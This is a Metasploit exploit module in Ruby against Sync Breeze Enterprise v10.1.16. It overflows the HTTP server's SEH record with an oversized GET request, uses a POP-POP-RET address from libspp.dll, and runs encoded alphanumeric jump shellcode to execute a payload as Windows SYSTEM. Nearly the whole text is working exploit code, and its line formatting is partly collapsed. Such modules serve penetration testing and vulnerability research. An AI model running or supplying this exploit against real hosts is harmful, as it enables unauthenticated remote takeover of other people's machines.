### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
require 'msf/core'class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,'Name' => 'SyncBreeze v10.1.16 SEH GET Overflow','Description'=> %q{
There exists an unauthenticated SEH based vulnerability in the HTTP
server of Sync Breeze Enterprise v10.1.16, when sending a GET request
with an excessive length it is possible for a malicious user to overwrite the
SEH record and execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account.
The SEH record is overwritten with a "POP,POP,RET" pointer from the application
library libspp.dll. This exploit has been successfully tested on Windows XP, 7 and
10 (x86->x64). It should work against all versions of Windows and service packs.},'Author' => 'wetw0rk','License'=> MSF_LICENSE,'Privileged' => true,'DefaultOptions' =>
{'EXITFUNC' => 'thread',},'Payload'=>
{'Space' => 800,'EncoderType' => "alpha_upper",'BadChars'=> "\x00\x0a\x0d"},'Platform' => 'win','Targets'=>
[['Windows XP/7/10 (SyncBreez Enterprise v10.1.16)',{'Ret'=> 0x1001C65C,'Offset' => 2495
}]],'DisclosureDate' => 'October 11 2017','DefaultTarget'=> 0))
register_options([Opt::RPORT(80)])end
def exploit
connect
print_status("Trying #{target.name}")# Make the JMP to the payload, else JMP into the A's acting as NOP's# Using AlphaNum technique learned from Mut's in OSCE (aka a legend)
jumpcode = "\x25\x4a\x4d\x4e\x55"# andeax,0x554e4d4a
jumpcode << "\x25\x35\x32\x31\x2a"# andeax,0x2a313235
jumpcode << "\x2d\x37\x37\x37\x37"# subeax,0x37373737
jumpcode << "\x2d\x74\x74\x74\x74"# subeax,0x74747474
jumpcode << "\x2d\x55\x54\x55\x70"# subeax,0x70555455
jumpcode << "\x50"# push eax
jumpcode << "\x25\x4a\x4d\x4e\x55"# andeax,0x554e4d4a
jumpcode << "\x25\x35\x32\x31\x2a"# andeax,0x2a313235
jumpcode << "\x2d\x2d\x76\x7a\x63"# subeax,0x637a762d
jumpcode << "\x2d\x2d\x76\x7a\x30"# subeax,0x307a762d
jumpcode << "\x2d\x25\x50\x7a\x30"# subeax,0x307a5025
jumpcode << "\x50"# push eax
jumpcode << "\xff\xe4"# jmpesp# greetz to kluo, and abatchy17
sploit = payload.encoded
sploit << 'A'*(target['Offset']- payload.encoded.length)
sploit << "\x74\x06\x75\x06"
sploit << [target.ret].pack('V')
sploit << jumpcode
sploit << 'A'*(9067 -(target['Offset']+ payload.encoded.length + 8 + jumpcode.length))
send_request_cgi('uri'=>'/'+ sploit,'method' =>'GET','host' =>'4.2.2.2','connection' =>'keep-alive')
handler
disconnect
endend
